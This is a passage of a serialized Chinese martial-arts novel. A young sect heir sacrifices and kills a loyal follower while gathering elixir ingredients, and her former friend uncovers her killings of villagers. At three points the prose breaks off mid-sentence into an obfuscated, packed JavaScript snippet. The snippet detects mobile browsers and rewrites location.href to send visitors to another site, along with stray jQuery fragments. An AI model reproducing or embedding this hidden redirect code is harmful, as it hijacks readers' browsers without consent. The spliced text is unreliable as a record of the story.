茶室中,不止有方撷真母女在,那方方正正的棋桌前,还坐着一袭青衫的武绿华。 方撷真的喜,暂时抵过了恨,令她全然不顾武绿华的存在,只顾和武红英说话。 听到武绿华的冷笑,她才将目光挪过去,寒声质问:“你笑什么?武绿华,你应当为我害怕。” 武绿华不以为然:“怕你?你能有多大本事,能叫我怕你?真以为能杀我了?” “真儿!绿华!”武红英呵斥道,“都不许胡闹!真儿,你好不容易回来,肯定是累了。快去洗个热水澡,待会儿,母亲陪你用饭。” 方撷真却不肯走,又道:“武绿华,你以为自己还能活……” “真儿!住口!”武红英怒意乍现,她不允许女儿说出这种捅她心窝子的话来,妹妹和女儿,都是她无法放弃的亲人,“你不听母亲的话了吗?” 方撷真啧了声,极不情愿地离开茶室。 在后山关了好几年,武绿华去年才被解除了禁足,可武红英允许她活动的范围依然不大,只局限在水月谷中,且禁止她和方撷真见面。 武绿华望着姐姐因愤怒而起伏的胸口,稍稍眯眼:“姐姐,你总为她操心。她生下来就是讨债鬼,专门来克你。” 那道“母子相克”的卦象回溯到心头,武红英呼吸轻滞,缓缓坐下:“绿华,不要说这种话。” “她是你女儿,可我们难道就不是亲骨肉?我们在一个娘胎里待过,我们身上流一样的血,姐姐,她勤学苦练不是为了你,可我做的桩桩件件,哪件不是为了你!” 武绿华捏紧双拳,指尖深深嵌入掌心。 陪姐姐最久的人是她,为姐姐分忧的人也是她,然而方撷真一回来,她便什么都没有了!权力被收回,姐妹温情变得稀薄,自由被限制!凡此种种,她皆不能接受! “……我们当然是亲骨肉。”武红英垂眸,“从前是,现在是,以后也会是。可是,绿华,我注定无法彻底原谅你的。” 她在棋盘上落下一枚白子,于是属于武绿华的一枚黑子,就这样出了局。 28.枯心(1) 方撷真人在水月谷,却很少见着二谷主武绿华。 据她所知,武绿华虽还有二谷主的名号,可手中的权力甚至不如她这个少谷主大,二谷主已然名存实亡。 盛春时节,谷中的寒气全然没有了,春花春草一丛丛地肆意弥漫。方撷真自鲜花小径经过,却看见花丛里立着一抹人影。 她眯了眯眼,唤出那人的名字:“武绿华。” 武绿华的活动范围,已由后山扩大到整片水月谷,今日她的精神头很蓬勃,唇角挂着笑:“才学完东西吗?满头都是汗。” 见着她的笑,方撷真浑身都难受,开口反问:“与你有关?” “我是你姨母,怎能与我无关?”武绿华走出花丛,衣摆沾上零星的香气,“我姐姐教了你什么?” 方撷真不欲理会她,转身欲走。她怕再纠缠下去,自己的翠微剑不长眼睛,贸然杀了武绿华。 她对武绿华的本事并不了解,虽也问过徐剑屏等人,却只得到“二谷主甚少展露实力”的答案,倘若她与仇敌的实力太过悬殊,贸然出手无异于鸡蛋碰石头。 最为重要的是,武红英尚未教会她回魂术,她暂且不能杀了武红英的亲妹妹。 “要往哪里走?你这孩子,好不知礼。”武绿华轻笑一声,拦住方撷真的去路,“水月谷秘术虽深奥复杂,门类却不多。我也是一样样学过来的。我猜猜,你先学了傀儡术?” ……还真是傀儡术。 无论死人还是活人,皆能被制成受操控的傀儡,这等恐怖离奇的事,竟被水月谷所记载、掌握,方撷真最初翻阅《水月秘典》时,着实吃了一惊。 根据侄女的神色,武绿华心中了然,又道:“果然啊。一步步慢慢学,总有一日,能学到你最感兴趣的回魂术,然后……便能复活你最心心念念的养母。” “休要胡说八道!”心事被戳破,方撷真陡然转身,掀起一阵冷风,“我学习秘术,只因为我是少谷主,责任使然,身份使然。” 复活方虹是绝对不能为人所知的秘密,武红英恨方虹入骨,倘若露了馅,岂非万万不妙。 凝视方撷真几瞬后,武绿华无奈地摇了摇头,仿佛很是惋惜:“你太不稳重了,眼神飘得厉害,手也在抖。” 方撷真猛地阖眸,再匆匆睁开,而后她往下望去,果真瞥见自己的指尖轻轻颤动着。她咬紧牙,迫使自己冷静:“武绿华,血口喷人最是无趣。” 奈何武绿华根本不听她的辩解,实则她这辩解听了也是无用,因为她的所思所想,早被神色情态出卖了个干净。 武绿华垂眸,宛若在沉思,待她开了口,才知并非沉思,而是她身处落寞中央,不得不低头掩盖:“我也有至亲。若我姐姐出事,我也会不择手段为她报仇,绞尽脑汁将她复活。” 半晌,她又道:“我理解你,方撷真。” 方撷真心中犹受重击,仿佛听到此生最可笑的笑话。那个狠毒到将她和养母逼上绝路的人,竟亲口说理解她,简直不可理喻! 她略略平复了心绪,不愿在武绿华面前露出更多的破绽:“死而复生太过滑稽……也太愚蠢。” 这是真心话,方撷真至今都怀疑真假,然而只要有丝毫希望,她都要去试。数年来,她不就是为了这点儿希望,才留在水月谷吗? 武绿华道:“你太小看水月谷了。回魂术有起死回生之能,是用极繁琐困难的流程换来的。就连炼制枯心露的原料也十分不易得,没有三年五载,是集不齐的。” 方撷真一怔,捕捉到关键字眼:“什么原料?” “鸣金蟾——这玩意儿你是晓得的。还有金乌翎、碧草灵花……其实我告诉你又有何用,普通人极难集不齐原料,难如登天。” “此话怎讲?是原料极其稀少,还是寻找途中危险重重?” 武绿华又笑了:“自是二者皆有。鸣金蟾只不过是最容易寻得的一种。” 迎着武绿华朦胧的笑意,方撷真渐渐心如擂鼓,似乎置身风暴之中,承受着四面八方乱石骤雨的捶打,站都站不稳。 她将牙齿咬得咯吱作响,所有的理智都用于思考一件事——武绿华为何要和她说这些?武绿华又有几分可信? 为着方撷真的缄默,武绿华干脆主动说道:“我姑姑,曾是星罗宫的一名徒子,因和宫主理念不合,被驱逐出师门,历经坎坷后建立了水月谷。星罗宫豢养着一种叫做金乌的巨鸟,直立时足有一人高。金乌翎,便是金乌巨鸟胸口的那撮白毛。” 越详细的叙述,越不像瞎编造,方撷真凝眸,掌心徐徐渗出汗水。 “你可别觉得我是在给你下套。你若不信我,大可问我姐姐。” “告知我这些,于你有何好处?” 忽见武绿华长长地叹息一声,面庞堆满痛心疾首之态,且十分诚挚,她像在思虑,像在摇摆不定。 可最后的最后,她还是望向满头细汗的方撷真,似乎很是怅惘:“我不忍看我姐姐日日为你伤心。你太不懂事,表面温顺懂事,却暗暗为方虹怨怼我姐姐。恨我便罢了,为何要牵扯我姐姐?” 趁方撷真眯眼,武绿华骤然严肃了神色,一字字道:“再者,我也想活命。” “活命?你?”方撷真挑眉。 “你还年轻,是水月谷接班人。来日若我落入你手中,你定叫我求生不得求死不能。”武绿华答得很坦荡,“我卖你个人情,你留我一条命。方虹复活,并不影响我的利益。” 方撷真心底生出一种异样,是了,她是水月谷的接班人…… 将来,所有的权柄都集在她一人身上。 到时候,武绿华便是她面前的一只蝼蚁。 她不自觉挺了挺胸膛,是年轻人才会有的天真自信模样:“那么,余下的几味原料呢?” 武绿华徐徐道来,详尽到每味原料的名字、特征、来源,皆事无巨细地告知方撷真。这些东西,并不被水月秘典记载,唯有极少数人才知晓。 听完,方撷真看武绿华的眼神显然变了味,从前是看仇人,而今是看下位者:“来日我继任谷主,必然记得今日。” 武绿华面色稍霁,如蒙大恩,连忙道:“如此便好。” 目送方撷真远去后,她平整的眉心竟又蹙成了一团,她的姐姐费尽心力,便是为了培养这么一个沉不住气的孩子吗? 太不值得,太不值得了。 * 永宁元年。 这是方撷真学习水月谷秘术的第二个年头。 去年春天,她从武绿华口中得知了炼制枯心露的所有原料,便安排人暗中搜集,一年过去,竟真叫她集齐了三味。 待到集齐九味,炼出枯心露,再从武红英处学会了回魂术,完成心愿便指日可待。 她的心腹便在替她搜集原料的过程里熟络、培养起来,这是只属于她一个人的小势力。 秘术难学,方撷真起初也很急切,却怕武红英看出端倪,猜出她的心思,遂从不表露出心绪,只说慢慢学就成。 然而一心闷在谷里是不成的,武红英还希望女儿能四处行走,长长见识,开拓开拓眼界。 因而方撷真便以游历为名,亲自搜集起炼制枯心露的原料。 她的第一站是星罗宫。 水月谷开派掌门便出身星罗宫,几十年过去,星罗宫的风光不复当年,徒子出走的出走、亡故的亡故,已是不被江湖中人放在眼里的小门小派。 初闻星罗宫的变迁,方撷真万分慨叹,来日执掌水月谷,必不能走上这条老路。 她是要威震江湖的人,水月谷也是要立足高处的门派。 一段时日后,方撷真一行人瞒着武红英,抵达星罗宫一带。 星罗宫地处峡谷中,两侧多生悬崖峭壁、奇松怪石。经过探查,方撷真摸到了豢养金乌鸟的地方,与几位同门寻了石头草丛作掩藏,静静观察。 此地是个露天的场所,抬头一望,可见一道狭窄细瘦的蓝,那便是天空。 金乌巨鸟,性情暴戾,喜食生肉,且数量稀少,如方撷真所见,竟只有一只,被关在巨大的鸟笼中。 这只金乌鸟的确如传言所说,胸口生一撮白毛,有两人之高,身形庞大、利爪尖喙,倘若被挠上一爪,或是咬上一口,后果不堪设想。 随行的水月谷徒子中,有一人唤作阿夏,他不解地问道:“少谷主,金乌鸟必定凶悍,要从其胸口取到金乌翎,恐怕不容易。” “再凶悍也只是畜牲,又关在笼中,怕什么?”方撷真心里虽有顾虑,却不肯流露,强装镇定,“……嘘,有人来了。” 脚步声渐近,水月谷几人立时躲起来,静观其变。 只见两名星罗宫徒子各押一人,向关押金乌鸟的笼子又去。 被押着的两人皆被五花大绑,拼命挣扎,口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283687|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中哀求连连:“饶了我吧!饶了我吧!啊——” 他们在求饶?可是,为什么? 这地方除了金乌鸟,便什么都没有啊。 方撷真屏气凝神,不祥的预感愈发强烈。 离笼子越近,那两人叫得越凄惨绝望,啪嗒,笼锁打开,他们如同一块普通的石头、一件廉价的废品,被星罗宫徒子无情地抛进笼中—— “啾啾啾——” ”啊——” 鸟鸣声、人的惨叫声此起彼伏,不绝于耳,水月谷一行人或瞠目、或捂住嘴,唯恐自己惊叫出声。 方撷真的指尖死死扣住藏身的巨石,哪怕指甲缝渗出血,也不曾松手。 那两个人,竟是金乌鸟的食物。 慢慢地,再也没有人叫出声了,因为一个的脑袋已经被金乌鸟啄下,另一个则失血多过昏死过去。 又慢慢地,笼子里已经没有活人了。 “原来他们是以这种方式喂鸟的。”方撷真久久不能平息,为其残忍震颤之余,却更关心如何取得金乌翎,“我们等金乌鸟放松了警惕,再动手。” 约莫半个时辰,吃饱喝足的金乌鸟有了困意,默契地拢起翅膀,伏地睡去,方撷真便下令道:“阿夏,带人去。” 阿夏是方撷真的心腹中最受信任的,他为方撷真带回了三味枯心露原料,功不可没。但他到底是凡人,也会惊恐,尤其才目睹过那血腥一幕,更是踌躇不决了。 阿夏道:“少谷主,我们不如先想法子,迷晕金乌鸟?它们毕竟只是睡着,还有醒来的可能。” “还用你说?”方撷真斜睨他一眼,从袖中取出一瓶粉状物,“拿去吧。只需将这东西吹出一点点,便万事大吉。用的时候屏住气。” 阿夏接过东西,领着两人忐忑地下了山坡,靠近金乌鸟。 方撷真自是不可能亲力亲为,她远远地站在山坡上,居高临下看着阿夏等人为她做事。 倒还算顺利,阿夏已向笼子里吹出瓶中粉末,那金乌鸟应当败给这迷药,昏睡了过去,一时半会儿醒不了了。 方撷真松了一口气。 “啊——!啊啊啊!!!” 然而不过一瞬,阿夏便惨烈地嚎叫起来,那迷药根本没有对金乌鸟起效果!巨鸟倏然醒转,猛地咬住了阿夏一条手臂! 那笼子的缝隙拦住金乌鸟绰绰有余,可阿夏天生身形瘦削,眼看着便要被拖入笼中,水月谷的几人立时拽住他的身躯,与巨鸟角力!巨鸟奋力扑腾,利爪拍得鸟笼乱响,却始终不松口。 “少谷主救我,救救我!我不想死!” 翠微出鞘,本旁观一切地方撷真毫不犹豫地运转轻功,直冲鸟笼而来。 她找到了最好的诱饵,没有比被咬住的阿夏更合适的了!真是无心插柳柳成荫! 方撷真匆匆落地,一剑割下一撮金乌翎,又听咔嚓一声——诸人定睛一看,落地的竟不是巨鸟头颅,而是阿夏血淋淋的手臂! “少谷主,你——!” 阿夏瞠目结舌,他的手臂没有了!手臂没有了!肩头血淋淋的地方正鲜血喷涌、触目惊心! 方撷真喘着气,亦是脸色苍白,暗忖道手头没有完备的医疗条件,即使阿夏侥幸逃生,也难保不会失血过多而亡。 带着一个断了手臂的伤员潜出星罗宫,太过冒险,稍有不慎就会被发现,他们单是溜进来便大费周章。而且,日后照顾阿夏也太过费心费力,很是耽误行程。 四处染着着红艳艳的鲜血,有些是阿夏的,有些是方才被金乌鸟生吃的两个人的,还有的便不必多说,都是这怪物的口下亡魂。除此之外,便是零零散散的人骨。 金乌吃人吃得很干净,地上连衣料都不剩几块,更不必说骨头。 “阿夏,抱歉。” 方撷真痛苦地闭了闭眼,眼眶酸涩,其实阿夏忠心又聪颖,是个很好的下属。 那么今日她便要阿夏为她做最后一件事,即不留痕迹地死去,不要为她逃出星罗宫留下后患。 “断臂苟活实在太痛苦,我来让你解脱。” 阿夏尚未反应过来,便看见一柄利剑从自己胸前穿出,又灵巧地收回。他痛到不能呼吸,才“咯咯咯”地吸了几口气,便在此殒命。 方撷真已是很优秀的剑客,晓得如何一剑封喉。 而后,她流着泪,当着所有人的面,将阿夏塞进鸟笼。 29.枯心(2) 星罗宫不是什么风水宝地,附近七八里路都十分崎岖坎坷。其实,若是抬头,便晓得星罗宫为何叫“星罗宫”,这样好的星夜极适合观星,似乎只需抬臂一揽,便能纳河汉入怀。 方撷真一行人费了好一番功夫,才顺利逃出关押金乌鸟的深谷。那撮金乌翎已被妥善地收起来,本是大功告成,却没有一个人在笑,也没有谁注意到满天星斗。 因为他们失去了同伴。 “阿夏就那么死了!阿夏——” 说话的人唤作白术,与阿夏一向交好,除了未能救下好友的自责、目睹金乌鸟食人的惊恐,他心中还有对方撷真的无尽斥责。 他跪在地上,痛苦地嘶吼。 这几人都是随行少谷主的水月谷徒子,严格来说,并不能算“仆人”,称其为“下属”更为绝妙。 听完白术一言,当即有人驳斥:“那样的境况,阿夏活下来也要痛苦一辈子!” “好死不如赖活,哪怕断了手臂,好歹能留条命。” “阿夏一向心气高,你怎知他……” 争执声不绝于耳,方撷真却置若罔闻,她扭着头,一心想将呼吸声抚平,任身侧的几位随从如何争吵哭喊都不顾。 空气中有浓重的血腥味,每人身上都沾了阿夏的血,那些血已然凝固,化作与天幕最深处一般暗沉的红。 好一会儿时间,待方撷真的手指不再剧烈颤动了,她才冷下面庞怒斥:“都住口!” 下属们一顿,都不做声了。 方撷真绷紧五官,唯恐露了怯:“阿夏若是不死,余生会有多痛苦?长痛不如短痛,解脱反而是好事!我会记得他,水月谷也会记得他,他死得其所——他可还有在世的亲人?” 白术答道:“……阿夏家中还有老母。” 方撷真点了点头:“他的母亲,水月谷会予以抚慰,不叫他死不瞑目。我带阿夏出来,没能带他回去,我对不阿夏。我在此立誓,只要炼成枯心露,一定用回魂术为他招魂!” 几人面面相觑,其中一人稍有动容,说道:“少谷主,临行前您便讲明了,此行或许危险重重……我们都是自愿跟出来的。” 方撷真面露欣慰,胡乱抹了抹脸上干涸的血迹:“你们放心。以后不会再有这种事。我们共同进退。” 这是极有用的抚慰。 水月谷内部的气氛并不其乐融融,若说得严重些,甚至能称一句“等级森严”。 所以当向来高高在上的少谷主给予了宽慰和保证,她手底下的人皆稍稍安了心——少谷主也是迫不得已、顾全大局,她甚至照顾到了阿夏的家中老母…… 然而这份安心很有限度,再大的好处,也不能完全抵消几位下属对方撷真的意见。 他们都听说过少谷主当年误杀魏澄的事,还听说当时方撷真落荒而逃,根本没有在第一时间担起责任来。 可他们也晓得人会蜕变,方撷真那时撂下了挑子,后来还不是主动受了杖刑、关了禁闭?何况些几年里,方撷真待他们的确不错,才培养了他们的忠心。 由此种种,每个人心里都像生了一簇生机勃勃的藤蔓,纠缠着、绞捏着。 他们对方撷真既期待,又失望,既忠诚,又颇有微词。 “好了,我们进城寻个好客栈,诸位好生休整几日。辛苦你们了。” 方撷真说罢,率先翻身上马,扬尘而行。 她怕自己逃得再慢些,心中的防线就要溃败,所有的脆弱和心虚就会决堤。 余下几人怔了怔,也都骑马追随上她。 “少谷主,咱们下一步去哪?” “找碧草灵花。” 碧草灵花似乎只存在于传说中,外形奇特,据武绿华所说,水月谷曾拥有一株,并成功地用它炼成了枯心露。可惜,唯有那一株。 数十年前,鬼医培育出碧草灵花,却莫名地焚毁了花田,仅留下不到十株。想来,只要找到鬼医的下落,或许便能得到想要的东西,再不济,也能得知培育碧草灵花的方法。 而鬼医失踪数十年,是死是活都无从得知,奈何碧草灵花是不可或缺的重要原料,因此,方撷真非要尽力一寻。 * 半个月后,云州城外。 方撷真往路边的茶摊里坐定,向掌柜要了一壶新沏的茶:“白术去吧,快去快回。” 若非实在没有门路,她也不至于要向澄意山庄购买鬼医的消息。 数年前,她天真地向澄意山庄打探程芙的下落,却一无所获,谁知程芙就是山庄中人。 方撷真很不愿意和澄意山庄打交道,她总觉得,交往的次数越过,澄意山庄藏书阁中记载的有关水月谷的信息就越多,来日再高价卖给别人——这不是什么好事。 因此澄意山庄在她心中是个很诡异奇怪的门派,说是名门大派,可这茶摊的跑堂伙计说不准就是他们在外的眼线,说是贩卖情报,可其风评口碑从来居高不下。 方撷真想不明白。 “少谷主,您不亲自去一趟?”白术领了命,却没有即刻动身。他年纪轻轻,从未在江湖里抛头露面过,不会暴露身份适合做这差事。 “我?”方撷真掀眸,盯紧了白术。 她随生母武红英,身形高挑、肩膀宽阔,眉毛浓得像一丛野草,从这野草下睨出的灼灼视线,已随光阴沉淀染上了不怒自威的意味,足够烧得人心慌。 好几日了,白术还没有放下好友阿夏的死,他对方撷真有敬又怕,也有恨,于是他几乎不敢和方撷真对视,低头答道:“少谷主和程芙大侠,不是旧相识吗……” 方撷真睫羽轻颤。 许久不见程芙了,两人间的约定,她始终放在心上。只不过眼下并不适合见面,知道她在做什么的人,越少越好。 “这种事情,你们去做就够了。快去快回。”方撷真道,“龙葵也去吧。互相有个照应。” 白术与龙葵对视一眼,依言照做。 时值盛夏,碧蓝如洗的天笼着绿盈盈的云山,界限如此得分明,蓝得澄澈,绿得清亮。 龙葵是个十七八岁的女郎,一向不爱说话,她走在白术身侧,难得开了口:“你还是过不去吗?” 白术故作不知:“此话怎讲?” “我是说阿夏的死。”龙葵轻笑,“这几天,你的话比我还要少,明显是放不下。” 为了撬开白术的嘴,龙葵又道:“你也觉得少谷主做法欠妥吧?她太狠心了。其实阿夏未必不愿独臂苟活,少谷主却擅自做了决定。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289050|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这三言两语,果然挑动白术的心,他一拳砸在枫树上,激起簌簌的叶声:“阿夏惨死,我却不能为他报仇,我甚至不知该怨谁!若说少谷主故意为之,可是谁又能挖出少谷主的心看一看,看看她到底是见死不救,还是真为了阿夏好!” 龙葵拍了拍白术的肩膀,轻声细语:“你冷静些吧。” 白术扶着枫树落了几滴泪,咬牙切齿地又砸上一拳,转眼间,拳头已烙上伤痕:“……罢了,阿夏已去,我做再多也是无用。” 龙葵道:“你不恨少谷主吗?” “恨她有什么用。”白术自嘲地笑了笑,“我只求尽快助她集齐炼制枯心露的原料,报她知遇之恩,之后少与她来往就是了。” 龙葵若有所思,往茶摊的方向深深回望。 * 约莫过去半个时辰,从官道尽头走来两人,定睛一看,正是白术与龙葵。 方撷真并不起身,仿佛身体焊死在了长凳上:“如何?问到了吗?” 龙葵摇头:“澄意山庄的人说,他们从不知鬼医的下落,也不清楚什么碧草灵花。我们给够了丰厚的银子,他们的说辞也没有变。” 随着方撷真眸色一变,白术也道:“少谷主,我们还遇到了程芙大侠……” “你们说过话了?”握着茶盏的手倏然用力,凭方撷真如今的实力,只需再加重三分,这劣质杯盏便能碎作一片一片,“可暴露了身份?” 见势不妙,白术慌忙地解释:“没有!我们并不认识彼此,我们也仅是听他们山庄的人说话,才晓得那是程芙!我们没有说过话,也没有暴露身份。” 白术此言不假,他从未见过程芙,却曾替方撷真寄过给程芙的信,故而知晓这段缘分。 方撷真低头喝了口茶,也不知程芙如今是什么境遇,是不是真的放弃了练剑。 她又想起什么,便追问道:“可曾见到她身边有位老妇人?六十来岁的模样,腰背挺不直。” “见到了,是有位老妇人来着。我听程芙唤其为‘阿婆’。少谷主,可要我们再打探一番吗?”龙葵答道。 人还活着就好,方撷真摆了摆手:”不必。云州城不是可久留之地,上路吧。” 几人并不多做停歇,各自牵了马,踏上平坦的官道。方撷真本要行在最前头,却故意落后几个身位,与龙葵交换眼神。 龙葵摇头,作口型道:“没有。” 没有?方撷真迅速地暼向白术的背影,既然没有反心,那就暂且留着他的命吧。 * 澄意山庄。 “鬼医和碧草灵花?”一听藏书阁主管提起这两样东西,程芙不禁蹙眉,她对鬼医培育的东西有着颇为两极分化的印象,要么能救人,要么害人。 “是啊。”藏书阁主管道,“我自是没有说。我们也不是什么东西都告诉外人。” 藏书阁的事,不归程芙管,若非藏书阁主管心血来潮提起,程芙一年到头也听不到几件。 她没有多管闲事的好奇心,更没有追问的心思,遂挽起袖管,径直向剑庐走去。 有一柄锤子需要她来打,是山庄同门的委托,待打完这锤子,她便要离开云州一段时日,寻找前段时日从天坠落的陨铁了。 30.枯心(3) 陨铁自天际坠落,极难得,是非常宝贵的铸剑材料。没有铸剑师不向往得到一块优质的陨铁,以铸成绝世神兵。 在程芙卧房的置物架最高处,就有一块颇有分量的陨铁,是数年前方撷真所赠。她舍不得用,数年来将其束之高阁,未曾问津。 处暑一过,程芙便上路了。 经过半个月的跋涉,程芙抵达一个名为留阳村的小村落,听说先前天降流星时,此处的流星雨最为绚烂多彩。 那样华丽的流星,兴许整个大殷都能望见,是以程芙不觉得自己是唯一搜寻陨铁的人,若是幸运,没准很快便能有收获,若是不幸,只能空手而归了。 留阳村环境闭塞,在地图上很难找寻。程芙问得口干舌燥,好不容易才晓得村门往哪边开。 荒无人烟,满街上看不见半个人影,仅有她自己的影子孤零零竖着。 这倒契合程芙对大部分荒远村落的印象,天下无非是这样,富庶之地金银铸墙、玉石为阶,贫穷之地则食不果腹、衣不蔽体。 程芙忽地打了个寒颤,牵马进村。 半空中悬着翠绿的树叶,足下却是沙尘黄土,才走出不到十步,程芙便浑身不适,四周仿佛有什么东西盯着她,说不清是人还是野兽,那东西似长了许多只眼睛,目光寒冷。 她蓦然捕捉到一丝粗重的呼吸。 下一瞬,拒霜剑出鞘,“叮”的一声划破热浪,她沉声道:“都出来。” 程芙在警告那些偷偷打量她的人,光明正大还有话可以好好说,若是偷偷摸摸,她不介意为了自保先下手。 话音才落,便从四面八方响起百十来道杂乱的足音。 有轻有重、有快有慢,而出现在程芙眼前的村民们,也有老有少、有女有男,手中或持长棍铁锹,或持锄头钉耙,个个皆红着眼,神色愤恨。 程芙心头一惊,再想撤出村子已经来不及了,她只能行缓兵之计:“各位,何至于初次见面便刀兵相向?” 有两个村民交头接耳一番,最后由一位瘦高个率先开口:“你也是来找石头的?” 程芙没法子说“不是”,因为她所要找的就是石头,从天外来的石头;更不能承认“是”,村民们的愤怒似乎只等她点头,便能化作巨浪将她淹没。 权衡过后,程芙从容地撒了谎:“什么石头?我从此路过,想来讨口水喝。” “你手里有剑,身后有马!”瘦高个怒道,“你和前几日那些人是一样的!只想把我们村子搅得天翻地覆、不得安宁!” 眉心沁出一缕困惑,程芙索性收起剑,以表自己没有恶意。 天降陨铁,四海九州都看得到,为此找来留阳的村若仅有她一人,那才叫奇怪。 不过,她从瘦高个的话里也能猜到些端倪,八成是前几批找陨铁的人在村子里做了什么,伤害到了这些村民。 程芙:“我没有恶意,不会伤害你们。你们说的‘石头’是什么?‘那些人’又是什么意思?他们做了什么?” 问罢,一些村民竟齐刷刷地哭丧起脸,更有甚者直接捂着脸哭起来,那瘦高个也不多与程芙绕弯子,怒吼道:“他们杀了人!他们骗了我们!都是因为那些破石头!” * 十日前。 留阳村又迎来一批江湖客。 这里的百姓世代以耕织为生,那天晚上,从天上掉下好多石头块,零零散散地散在村子附近的山坡上、田埂里、溪流边。 他们担忧这是不祥的“顽石”,都不敢碰。 直到一波又一波的江湖客到来,用银子换“顽石”的消息,他们才晓得那是宝贝。 村民们高兴坏了,没有谁会和银子过不去。他们便主动收集“顽石”,再卖给江湖客们,愿意买账就一手交钱一手交货,不愿意买账,就什么都得不到。 而这喜悦没有持续太久,约莫三日前,又来了几位年轻人,非但不吃村民们以钱易物的这一套,甚至还提剑杀人! 张家的、王家的还有赵家的,至今尸骨未寒啊! “那几人是什么来头?”程芙挺着凉沁沁的脊背,听完了瘦高个村民的诉说,“可晓得名字吗?” 她全然是好奇心作祟,毕竟她在江湖里也算有头脸,结识、听闻的江湖人颇多,兴许那几位滥杀百姓的恶人,她曾听说过。 瘦高个摇了摇头,有两行泪滚落:“只晓得领头的人姓方!浓眉大眼,剑上嵌了一枚翠珠子!” 姓方,生得浓眉大眼,剑镶翠玉。 方撷真,浓眉大眼,翠微剑剑柄由程芙亲手镶上一颗翠玉珠。她在外行走时,多冠以母亲武红英的姓氏,自称“武撷真”,但她内心深处更认可旧名,这一点,程芙是晓得的。 ……不会的。 程芙从手肘开始颤抖,一浪浪的不安渐渐蔓延至指尖。尽管方撷真不如昔年天真单纯了,却也不至于走到草菅人命的地步吧? 武红英素有豪杰之名,怎会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292963|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教出恶人女儿?她程芙与方撷真相识多年,怎会不知好友的性情秉性? 误杀魏澄之后,方撷真那样痛苦无助,淋着雨在程芙面前痛哭自责,这样的人,怎会滥杀无辜? 程芙深吸一口气,强忍心绪:“这其中是否有什么误会?她为何杀人?” “误会?!” 瘦高个被戳中痛处,破口大骂了几句不堪入耳的话,又道:“我们村子里的乡亲,都是纯朴的好人!热水热饭,都捂不热那魔头的心啊!张四是他家唯一能下地干活的,王五上有老母下有孩子……你竟敢说有误会!你——!” “没有误会,没有误会!乡亲们就是枉死的阿!” 村民们听罢瘦高个的责骂,纷纷触动愁肠,一个个地哭天喊地,口中喊着“死得好冤枉”“年纪轻轻就去了”之类的话。 程芙越听越毛骨悚然,却不相信真是旧友所为,她不得不硬着头皮问道:“几位乡亲下葬了吗?我既到村子里来,就是缘分,免不了要祭拜一番。” 村民们面面相觑,皆是犹豫不决,见状,程芙又道:“我有些散碎银子……” “我带你去!我带你去!”说话的是张四的妹妹,腿脚不便,却很乐意带程芙去看兄长未入葬的尸身,“按规矩,人死了满七天才能埋。我哥哥还没来得及。” 程芙便跟着张家姑娘,进了张家简陋的灵堂。 没有花圈,只有稀稀疏疏的纸钱与刺鼻的臭味,程芙屏着气,竭力控制出身体的本能,免得在遗属面前失了仪态和尊重。 她扶着棺椁边缘,往棺中一望—— 张四颈间有一条剑痕,斜斜地飞着,宛若水鸟落下汀州。 程芙曾经这样教导方撷真:“……面对这种敌人,不妨稍微刺得偏一些,从侧面进攻。” ——方撷真真的听进去了,还付诸实践,用程芙教她的手段,了结了张四的性命。 程芙人走在前头,魂魄却落后她半个身位,她站在刺眼的阳光下,忽感到一阵恶心,扶着土墙干呕。 “大侠,不要紧吧?”张家姑娘忙过来搀扶,她很理解程芙的不适,“……确实怪难闻的,不怨你。” 不是的,程芙不是为了张四腐烂的尸身才干呕,她是为了腐烂的方撷真而失望。 “杀你哥哥的人,往哪个方向走了?” 程芙问道。 有的事,她不信一面之词,也不信自己的眼睛,她一定要亲自向方撷真问清楚。 31.枯心(4) “往东走了!大侠,你是要杀了他们,为民除害吗!我也要去!” 张家姑娘义愤填膺,不愿放过任何一个为至亲报仇的机会。 望着她漆黑的眸子,程芙心一颤,连忙说道:“不是,我不是要为民除害,只是问问。姑娘,你也不要总想着报仇……过好自己的日子吧。” 许多年前,程芙也见过一双与张家姑娘一样明亮的眼睛,在雪夜里熠然生辉,流露着对未来的无尽期待,亦悄然散发着“此仇必报”的恨意。 程芙太蠢了,倘若她全然洞悉了方撷真的所思所想,也许从一开始,她便不会与她发展缘分。 然而那缘分千真万确地纠缠出数不尽的藤蔓,她竟不觉得它一无是处,若站远了看,甚至还觉得它有一种寥落孤寂的美感。 她是留阳村三位村民惨死的推波助澜者吗? 翠微是她铸的,方撷真的剑法是她教的…… 她好像没有办法从自责的念头里抽身,又深为方撷真痛苦,因此愈发地无助,几乎快要喘不过来气。 可她不能停在这里,她该往前去。 